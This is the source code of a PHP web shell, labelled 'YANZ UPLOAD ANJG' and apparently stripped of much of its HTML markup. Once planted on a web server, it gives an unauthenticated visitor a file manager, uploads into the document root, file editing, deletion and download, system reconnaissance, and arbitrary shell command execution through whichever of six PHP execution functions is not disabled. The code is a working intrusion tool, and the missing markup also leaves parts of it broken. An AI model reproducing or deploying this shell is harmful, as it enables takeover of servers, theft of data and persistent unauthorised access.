YANZ UPLOAD ANJG

????"; $info = ''; $info .= (($perms & 0xC000) == 0xC000) ? 's' : ((($perms & 0xA000) == 0xA000) ? 'l' : ((($perms & 0x8000) == 0x8000) ? '-' : 'd')); $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); $cls = is_writable($file) ? 'perm-allow' : 'perm-deny'; return "$info"; } function getOwnerGroup(string $item): string { $owner = function_exists("posix_getpwuid") ? posix_getpwuid(fileowner($item))['name'] : fileowner($item); $group = function_exists("posix_getgrgid") ? posix_getgrgid(filegroup($item))['name'] : filegroup($item); return htmlspecialchars("$owner/$group"); } function getFileType(string $file): string { return htmlspecialchars(mime_content_type($file) ?: filetype($file) ?: 'Unknown'); } function getFunctionalCmd(string $cmd): string { $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); $funcs = ['shell_exec', 'system', 'passthru', 'exec', 'popen', 'proc_open']; foreach ($funcs as $func) { if (function_exists($func) && !in_array($func, $disabled)) { return runCmd($func, $cmd); } } return "[-] Command execution is completely disabled on this server.\nDisabled functions: " . ini_get('disable_functions'); } function runCmd(string $func, string $cmd): string { switch ($func) { case 'shell_exec': $r = shell_exec($cmd . ' 2>&1'); return $r === null ? '' : (string) $r; case 'exec': $output = []; exec($cmd . ' 2>&1', $output); // Capture full output + stderr return implode("\n", $output); case 'system': case 'passthru': ob_start(); call_user_func($func, $cmd . ' 2>&1'); return (string) ob_get_clean(); case 'proc_open': $spec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; $proc = proc_open($cmd, $spec, $pipes); if (is_resource($proc)) { fclose($pipes[0]); $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); return $out . ($err ? "\n" . $err : ""); } return "proc_open failed."; case 'popen': $handle = popen($cmd . ' 2>&1', 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); return $output; } return "popen failed."; default: return "Unknown function: $func"; } } // ---------- inline CSS ---------- function inlineCss(): string { return <<get = $get; $this->post = $post; $this->files = $files; $this->selfFile = $_SERVER['PHP_SELF']; $this->homePath = __DIR__; if (isset($get['d']) && $get['d'] !== '') { $decoded = hexToString($get['d']); $this->currentPath = is_dir($decoded) ? $decoded : $this->homePath; } else { $this->currentPath = $this->homePath; } @chdir($this->currentPath); } public function run(): void { if (isset($this->get['t']) && hexToString($this->get['t']) === 'download') { if (isset($this->get['f']) && $this->get['f'] !== '') { $this->downloadFile(hexToString($this->get['f'])); } exit; } $this->showHeader(); if (isset($this->get['t'])) { switch (hexToString($this->get['t'])) { case 'upload': $this->showUploadTools(); break; case 'info': $this->showSystemInfo(); break; case 'mkfile': $this->showFileCreationTools(); break; case 'mkdir': $this->showDirectoryCreationTools(); break; case 'command': $this->showCommandExecutionTools(); break; case 'cname': $this->showRenameFileTools(); break; case 'fedit': $this->showFileEditTools(); break; case 'fview': $this->showFileViewTools(); break; default: $this->showFileManager(); break; } } else { $this->showFileManager(); } $this->handleDeletions(); $this->showFooter(); } private function showHeader(): void { $d = stringToHex($this->currentPath); $home = stringToHex($this->homePath); echo ' ' . VERSION . '
1337x7
' . htmlspecialchars(php_uname('a')) . '
'; } private function handleDeletions(): void { if (isset($this->get['rfile'])) { $path = hexToString($this->get['rfile']); if (dirname($path) === '.') $path = $this->currentPath . '/' . $path; if (is_file($path) && is_writable($path)) $this->removeFile($path); else $this->errorModal('Cannot delete file: ' . htmlspecialchars($path)); } if (isset($this->get['rmdir'])) { $path = hexToString($this->get['rmdir']); if (dirname($path) === '.') $path = $this->currentPath . '/' . $path; if (is_dir($path) && is_writable($path)) $this->removeDirectory($path); else $this->errorModal('Cannot delete folder: ' . htmlspecialchars($path)); } } private function removeFile(string $file): void { if (@unlink($file)) $this->successModal('File deleted.', $this->selfFile . '?d=' . stringToHex($this->currentPath)); else $this->errorModal('Failed to delete file.'); } private function removeDirectory(string $dir): void { if (@rmdir($dir)) $this->successModal('Folder deleted.', $this->selfFile . '?d=' . stringToHex($this->currentPath)); else $this->errorModal('Failed — folder not empty or permission denied.'); } private function createFile(string $fileName, string $fileContent = ''): void { $fullPath = $this->currentPath . '/' . $fileName; if (@file_put_contents($fullPath, $fileContent) !== false) $this->successModal('File created.', $this->selfFile . '?d=' . stringToHex($this->currentPath)); else $this->errorModal('Failed to create file.'); } private function createDirectory(string $dir): void { if (@mkdir($this->currentPath . "/" . $dir, 0755, true)) $this->successModal('Folder created.', $this->selfFile . '?d=' . stringToHex($this->currentPath)); else $this->errorModal('Failed to create folder.'); } private function downloadFile(string $file): void { // strip leading '?' and any path artifacts from the hex-decoded name $file = ltrim($file, '?'); $file = basename($file); if ($file === '' || $file === '.' || $file === '..') { http_response_code(404); header('Content-Type: text/plain'); echo "not found"; exit; } $file = $this->currentPath . '/' . $file; if (!is_file($file) || !is_readable($file)) { http_response_code(404); header('Content-Type: text/plain'); echo "not found"; exit; } // clear any buffered output before headers while (ob_get_level() > 0) { ob_end_clean(); } header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } private function handleFileUpload(): void { $uploadPath = ((int)($this->post['uploadtype'] ?? 1) === 1) ? $this->currentPath : $_SERVER['DOCUMENT_ROOT']; $tmp = $this->files['upload']['tmp_name']; $up = basename($this->files['upload']['name']); if (@move_uploaded_file($tmp, $uploadPath . "/" . $up)) $this->successModal('Uploaded: ' . htmlspecialchars($up), $this->selfFile . '?d=' . stringToHex($this->currentPath)); else $this->errorModal('Upload failed.'); } private function successModal(string $msg, string $redirect = ''): void { $js = $redirect ? "window.location.href='" . $redirect . "';" : "this.closest('dialog').close();"; echo "

" . htmlspecialchars($msg) . "

"; echo ""; } private function errorModal(string $msg): void { echo "

" . htmlspecialchars($msg) . "

"; echo ""; } private function showPathNavigation(): void { echo '
'; $ps = preg_split("/(\\\\|\/)/", $this->currentPath); $parts = []; foreach ($ps as $k => $v) { if ($k == 0 && $v == "") { $parts[] = "~"; continue; } if ($v == "") continue; $link = '?d='; for ($i = 0; $i <= $k; $i++) { $link .= stringToHex($ps[$i]); if ($i != $k) $link .= "2f"; } $parts[] = "" . htmlspecialchars($v) . ""; } echo implode('/', $parts); echo '
'; } private function showToolbar(): void { $d = stringToHex($this->currentPath); echo '
'; echo 'New File'; echo 'New Folder'; echo 'Command'; echo '
'; } private function showFileManager(): void { echo '

File Manager

'; $this->showPathNavigation(); $this->showToolbar(); echo '
'; $entries = @scandir($this->currentPath) ?: []; $folders = []; $regularFiles = []; foreach ($entries as $e) { if (is_dir($this->currentPath . '/' . $e)) $folders[] = $e; else $regularFiles[] = $e; } $d_hex = stringToHex($this->currentPath); foreach ($folders as $folder) { $fullPath = $this->currentPath . '/' . $folder; if ($folder === "." || $folder === "..") { $link = $folder === ".." ? stringToHex(dirname($this->currentPath)) : $d_hex; echo ""; } else { $hx = stringToHex($folder); echo ""; } } foreach ($regularFiles as $file) { $fullPath = $this->currentPath . '/' . $file; $hx = stringToHex($file); echo ""; } echo '
NameActionsSizeTypePermsOwnerModified
" . htmlspecialchars($folder) . "
" . htmlspecialchars($folder) . " — " . getFileType($fullPath) . " " . getFilePermissions($fullPath) . " " . getOwnerGroup($fullPath) . " " . getLastModified($fullPath) . "
" . htmlspecialchars($file) . " " . formatFileSize(filesize($fullPath)) . " " . getFileType($fullPath) . " " . getFilePermissions($fullPath) . " " . getOwnerGroup($fullPath) . " " . getLastModified($fullPath) . "
'; } private function showFileViewTools(): void { $file = hexToString($this->get['f']); if (!file_exists($file)) { $this->errorModal('File not found.'); return; } $content = htmlspecialchars((string) file_get_contents($file)); $d = stringToHex($this->currentPath); echo '

View: ' . htmlspecialchars(basename($file)) . '

'; } private function showFileEditTools(): void { $file = hexToString($this->get['fedit']); if (!file_exists($file)) { $this->errorModal('File not found.'); return; } $content = htmlspecialchars((string) file_get_contents($file)); $d = stringToHex($this->currentPath); echo '

Edit: ' . htmlspecialchars(basename($file)) . '

'; if (isset($this->post['save_edit'])) { if (@file_put_contents($file, $this->post['content']) !== false) $this->successModal('File saved.', $this->selfFile . '?d=' . $d); else $this->errorModal('Save failed.'); } } private function showRenameFileTools(): void { $old = hexToString($this->get['oldname']); $d = stringToHex($this->currentPath); echo '

Rename: ' . htmlspecialchars(basename($old)) . '

'; if (isset($this->post['oldname'], $this->post['newname']) && $this->post['newname'] !== '') { $oldName = $this->post['oldname']; $newName = $this->post['newname']; $target = dirname($oldName) !== '.' ? $oldName : $this->currentPath . '/' . basename($oldName); $dest = dirname($target) . '/' . basename($newName); if (@rename($target, $dest)) $this->successModal('Renamed.', $this->selfFile . '?d=' . $d); else $this->errorModal('Rename failed.'); } } private function showFileCreationTools(): void { $d = stringToHex($this->currentPath); echo '

Create File

'; if (isset($this->post['createfile'])) { $this->createFile($this->post['fname'], $this->post['ftext'] ?? ''); } } private function showDirectoryCreationTools(): void { $d = stringToHex($this->currentPath); echo '

Create Folder

'; if (isset($this->post['createdir'])) { $this->createDirectory($this->post['dirname']); } } private function showUploadTools(): void { $d = stringToHex($this->currentPath); $docroot = $_SERVER['DOCUMENT_ROOT'] ?? ''; echo '

Upload File

'; if (isset($this->post['upload']) && !empty($this->files['upload']['name'])) { $this->handleFileUpload(); } } private function showCommandExecutionTools(): void { $d = stringToHex($this->currentPath); echo '

Execute Command

'; if (isset($this->post['execute']) && $this->post['execute'] !== '') { echo '
' . htmlspecialchars(getFunctionalCmd($this->post['execute'])) . '
'; } echo '
'; } private function showSystemInfo(): void { $disableFunctions = ini_get('disable_functions') ?: 'NONE'; $freeSpace = function_exists('disk_free_space') ? formatFileSize(disk_free_space(".")) : 'N/A'; $infoItems = [ "System" => php_uname('a') . " " . ($_SERVER['SERVER_SOFTWARE'] ?? 'N/A'), "User" => function_exists('get_current_user') ? get_current_user() : 'N/A', "Free Space" => $freeSpace, "Server IP" => gethostbyname($_SERVER['HTTP_HOST'] ?? 'localhost'), "Client IP" => $_SERVER['REMOTE_ADDR'] ?? 'N/A', "PHP Version" => phpversion(), "Disabled Functions" => $disableFunctions, "Shell Path" => $this->homePath, ]; echo '

System Information

'; foreach ($infoItems as $k => $v) { echo '
' . htmlspecialchars($k) . '
' . htmlspecialchars((string)$v) . '
'; } echo '
'; } private function showFooter(): void { echo '
'; } } error_reporting(0); ini_set('display_errors', '0'); try { (new LocalShell($_GET, $_POST, $_FILES))->run(); } catch (Throwable $e) { http_response_code(500); echo "error"; }